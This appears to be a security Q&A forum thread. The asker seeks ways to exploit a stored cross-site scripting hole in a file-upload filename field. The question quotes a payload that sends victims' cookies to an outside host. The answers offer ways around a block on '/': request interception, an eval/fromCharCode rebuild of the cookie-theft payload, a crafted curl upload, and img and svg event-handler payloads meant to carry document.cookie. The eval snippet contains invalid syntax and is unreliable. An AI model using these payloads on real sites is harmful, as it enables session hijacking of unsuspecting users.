2

I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.

My problem is that whenever I try to rename the file to include something like the below payload, I can't include / in the filename.

document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;

Any ideas/payloads? Is it even possible to exploit this vulnerability?

1
  • You can rename the file with a / on a Unix-based system.
    – isopach
    Jun 26, 2018 at 9:11

4 Answers 4

1

You should use a packet interception application and edit the sent packet. So you replace the / with let's say an _ in the filename, then intercept the packet and change it back in the header.

0
2

You can execute any JavaScript without using / by using a combination of eval and fromCharCode:

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 
0
0

You can change the filename when uploading with curl:

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

However when I tested this with PHP it automatically stripped everything before the last /, presumably assuming that the full path had been sent and converting it to the basename.

-1

Yes,there is payload for that where you don't have to use '/' while making injection.These payload are :

  1. <img src=x onerror=alert(123) >
  2. <svg onload=alert(123)>

Now, you can insert document.cookie instead of 123 in alert method to get the user session.

1
  • 1
    How does the attacker get the cookie?
    – schroeder
    Jun 19, 2020 at 7:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .